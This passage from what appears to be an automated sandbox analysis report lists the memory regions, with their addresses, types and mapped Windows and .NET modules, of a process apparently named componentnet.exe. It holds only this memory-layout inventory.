monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 806 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 807 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 808 start_va = 0x7ff5ff070000 end_va = 0x7ff5ff16ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff070000" filename = "" Region: id = 809 start_va = 0x170000 end_va = 0x22dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 810 start_va = 0x290000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 811 start_va = 0xa00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 812 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 813 start_va = 0x7ffb1afd0000 end_va = 0x7ffb1b048fff monitored = 0 entry_point = 0x7ffb1afefb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 814 start_va = 0x7ff5feff0000 end_va = 0x7ff5ff06dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 815 start_va = 0x7ffb1faf0000 end_va = 0x7ffb1fb96fff monitored = 0 entry_point = 0x7ffb1fb058d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 816 start_va = 0x230000 end_va = 0x236fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 817 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 818 start_va = 0xa00000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 819 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 820 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 821 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 822 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 823 start_va = 0x250000 end_va = 0x256fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 824 start_va = 0x7ffb066e0000 end_va = 0x7ffb0677cfff monitored = 1 entry_point = 0x7ffb066e1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 825 start_va = 0x7ffb1da70000 end_va = 0x7ffb1dac1fff monitored = 0 entry_point = 0x7ffb1da7f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 826 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 827 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 828 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 829 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 830 start_va = 0x5a0000 end_va = 0x5d8fff monitored = 0 entry_point = 0x5a12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 831 start_va = 0xb10000 end_va = 0xc97fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b10000" filename = "" Region: id = 832 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 833 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 834 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 835 start_va = 0xca0000 end_va = 0xe20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ca0000" filename = "" Region: id = 836 start_va = 0xe30000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e30000" filename = "" Region: id = 837 start_va = 0x2230000 end_va = 0x2422fff monitored = 1 entry_point = 0x242131e region_type = mapped_file name = "componentnet.exe" filename = "\\portSession\\componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe") Region: id = 838 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 839 start_va = 0x7ffb1aed0000 end_va = 0x7ffb1aed9fff monitored = 0 entry_point = 0x7ffb1aed1350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 840 start_va = 0x7ffb02200000 end_va = 0x7ffb02be5fff monitored = 1 entry_point = 0x7ffb02205b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 841 start_va = 0x7ffb065e0000 end_va = 0x7ffb066d6fff monitored = 0 entry_point = 0x7ffb06604d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 842 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 843 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 844 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 845 start_va = 0x7ffaa2ac0000 end_va = 0x7ffaa2acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2ac0000" filename = "" Region: id = 846 start_va = 0x7ffaa2ad0000 end_va = 0x7ffaa2adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2ad0000" filename = "" Region: id = 847 start_va = 0x7ffaa2ae0000 end_va = 0x7ffaa2b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2ae0000" filename = "" Region: id = 848 start_va = 0x7ffaa2b70000 end_va = 0x7ffaa2bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2b70000" filename = "" Region: id = 849 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 850 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 851 start_va = 0x2230000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 852 start_va = 0x2230000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 853 start_va = 0x22c0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 854 start_va = 0x22d0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 855 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 856 start_va = 0x23d0000 end_va = 0x1a3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 857 start_va = 0x1a3d0000 end_va = 0x1a73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a3d0000" filename = "" Region: id = 858 start_va = 0x1a740000 end_va = 0x1a84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a740000" filename = "" Region: id = 859 start_va = 0x1a850000 end_va = 0x1a94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a850000" filename = "" Region: id = 860 start_va = 0x1a950000 end_va = 0x1ac86fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 861 start_va = 0x7ffb00d10000 end_va = 0x7ffb021f7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 862 start_va = 0x7ffb1f890000 end_va = 0x7ffb1f9d2fff monitored = 0 entry_point = 0x7ffb1f8b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 863 start_va = 0x1ac90000 end_va = 0x1ad4ffff monitored = 0 entry_point = 0x1acb0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 864 start_va = 0x1ac90000 end_va = 0x1ad6cfff monitored = 0 entry_point = 0x1acee0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 865 start_va = 0x7ffb1b150000 end_va = 0x7ffb1b1e5fff monitored = 0 entry_point = 0x7ffb1b175570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 866 start_va = 0x1ac90000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 867 start_va = 0x7ff5fefd0000 end_va = 0x7ff5ff06ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5fefd0000" filename = "" Region: id = 868 start_va = 0x7ff5fefc0000 end_va = 0x7ff5fefcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5fefc0000" filename = "" Region: id = 869 start_va = 0x7ffaa2be0000 end_va = 0x7ffaa2beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2be0000" filename = "" Region: id = 870 start_va = 0x7ffaa2bf0000 end_va = 0x7ffaa2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2bf0000" filename = "" Region: id = 871 start_va = 0x7ffaa2c00000 end_va = 0x7ffaa2c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c00000" filename = "" Region: id = 872 start_va = 0x7ffb067a0000 end_va = 0x7ffb068adfff monitored = 1 entry_point = 0x7ffb067a1080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 873 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 874 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 875 start_va = 0x7ffb000c0000 end_va = 0x7ffb00d03fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 876 start_va = 0x7ffaff730000 end_va = 0x7ffb000b1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 877 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 878 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 879 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 880 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 881 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 882 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 883 start_va = 0x1ad00000 end_va = 0x1ae0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad00000" filename = "" Region: id = 884 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 885 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 886 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 887 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 888 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 889 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 890 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 891 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 892 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 893 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 894 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 895 start_va = 0x5e0000 end_va = 0x5e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 896 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 897 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 898 start_va = 0x1ad00000 end_va = 0x1addcfff monitored = 0 entry_point = 0x1ad5e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 899 start_va = 0x1ae00000 end_va = 0x1ae0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae00000" filename = "" Region: id = 900 start_va = 0x1ad00000 end_va = 0x1adfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad00000" filename = "" Region: id = 901 start_va = 0x1ae10000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae10000" filename = "" Region: id = 902 start_va = 0x1af10000 end_va = 0x1b00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 903 start_va = 0x2230000 end_va = 0x225dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002230000" filename = "" Region: id = 904 start_va = 0x1ac90000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 905 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 906 start_va = 0x1b010000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b010000" filename = "" Region: id = 907 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 908 start_va = 0x7ffb02ea0000 end_va = 0x7ffb0308afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\43de4a177616225e9b6262468e1c3b53\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\43de4a177616225e9b6262468e1c3b53\\system.drawing.ni.dll") Region: id = 909 start_va = 0x7ffafe830000 end_va = 0x7ffaff720fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\37004ddc6f466d807c52ca3b7f9f9827\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\37004ddc6f466d807c52ca3b7f9f9827\\system.windows.forms.ni.dll") Region: id = 910 start_va = 0x1b110000 end_va = 0x1b20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 911 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 912 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 913 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 914 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 915 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 916 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 917 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 918 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 919 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 920 start_va = 0x1b210000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 921 start_va = 0x1b220000 end_va = 0x1b22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 922 start_va = 0x1b230000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b230000" filename = "" Region: id = 923 start_va = 0x1b240000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 924 start_va = 0x1b250000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 925 start_va = 0x1b260000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 926 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 927 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 928 start_va = 0x1b290000 end_va = 0x1b29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b290000" filename = "" Region: id = 929 start_va = 0x1b2a0000 end_va = 0x1b2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 930 start_va = 0x1b2b0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 931 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 932 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 933 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 934 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 935 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 936 start_va = 0x1b310000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 937 start_va = 0x1ac90000 end_va = 0x1ac9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac90000" filename = "" Region: id = 938 start_va = 0x1aca0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 939 start_va = 0x1acb0000 end_va = 0x1acbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 940 start_va = 0x1acc0000 end_va = 0x1accffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acc0000" filename = "" Region: id = 941 start_va = 0x1b320000 end_va = 0x1b32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b320000" filename = "" Region: id = 942 start_va = 0x1b330000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 943 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 944 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 945 start_va = 0x1b360000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b360000" filename = "" Region: id = 946 start_va = 0x1b370000 end_va = 0x1b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 947 start_va = 0x1b380000 end_va = 0x1b38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 948 start_va = 0x1b390000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b390000" filename = "" Region: id = 949 start_va = 0x1b3a0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 950 start_va = 0x1b3b0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3b0000" filename = "" Region: id = 951 start_va = 0x1b3c0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 952 start_va = 0x1b3d0000 end_va = 0x1b3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 953 start_va = 0x1b3f0000 end_va = 0x1b40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3f0000" filename = "" Region: id = 954 start_va = 0x1b410000 end_va = 0x1b43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 955 start_va = 0x1b440000 end_va = 0x1b46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b440000" filename = "" Region: id = 956 start_va = 0x1b470000 end_va = 0x1b47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b470000" filename = "" Region: id = 957 start_va = 0x1b480000 end_va = 0x1b48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b480000" filename = "" Region: id = 958 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 959 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 960 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 961 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 962 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 963 start_va = 0x1b4e0000 end_va = 0x1b4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4e0000" filename = "" Region: id = 964 start_va = 0x1b4f0000 end_va = 0x1b4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4f0000" filename = "" Region: id = 965 start_va = 0x1b500000 end_va = 0x1b50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b500000" filename = "" Region: id = 966 start_va = 0x1b510000 end_va = 0x1b51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b510000" filename = "" Region: id = 967 start_va = 0x1b520000 end_va = 0x1b52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b520000" filename = "" Region: id = 968 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 